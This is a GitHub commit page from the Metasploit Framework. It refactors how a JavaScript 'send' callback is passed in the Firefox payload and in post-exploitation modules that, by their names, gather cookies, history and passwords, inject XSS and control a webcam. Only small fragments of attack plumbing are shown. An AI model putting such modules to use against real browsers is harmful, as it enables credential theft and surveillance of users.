Skip to content

Commit 5d234c0

Browse files
committed
Pass #send in this so jsobfu is not confused.
1 parent ec88957 commit 5d234c0

File tree

6 files changed

+13
-11
lines changed

6 files changed

+13
-11
lines changed

lib/msf/core/payload/firefox.rb

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -121,12 +121,14 @@ def run_cmd_source
121121
var retVal = null;
122122
123123
try {
124-
retVal = Function('send', js[1])(function(r){
125-
if (sent) return;
126-
sent = true;
127-
if (r) {
128-
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
129-
else cb(false, r+tag+"\\n");
124+
retVal = Function(js[1]).call({
125+
send: function(r){
126+
if (sent) return;
127+
sent = true;
128+
if (r) {
129+
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
130+
else cb(false, r+tag+"\\n");
131+
}
130132
}
131133
});
132134
} catch (e) { retVal = e.message; }

modules/post/firefox/gather/cookies.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ def js_payload
6262
} catch (e) {
6363
send(e);
6464
}
65-
})(send);
65+
})(this.send);
6666
|.strip
6767
end
6868
end

modules/post/firefox/gather/history.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -80,7 +80,7 @@ def js_payload
8080
} catch (e) {
8181
send(e);
8282
}
83-
})(send);
83+
})(this.send);
8484
|.strip
8585
end
8686
end

modules/post/firefox/gather/passwords.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ def js_payload
7979
} catch (e) {
8080
send(e);
8181
}
82-
})(send);
82+
})(this.send);
8383
|.strip
8484
end
8585
end

modules/post/firefox/gather/xss.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,7 @@ def js_payload
7878
};
7979
8080
setTimeout(evt, 200);
81-
})(send);
81+
})(this.send);
8282
8383
|.strip
8484
end

modules/post/firefox/manage/webcam_chat.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -105,7 +105,7 @@ def js_payload(server, offerer_id, channel)
105105
} catch (e) {
106106
send(e);
107107
}
108-
})(send);
108+
})(this.send);
109109
|
110110
end
111111

0 commit comments

Comments
 (0)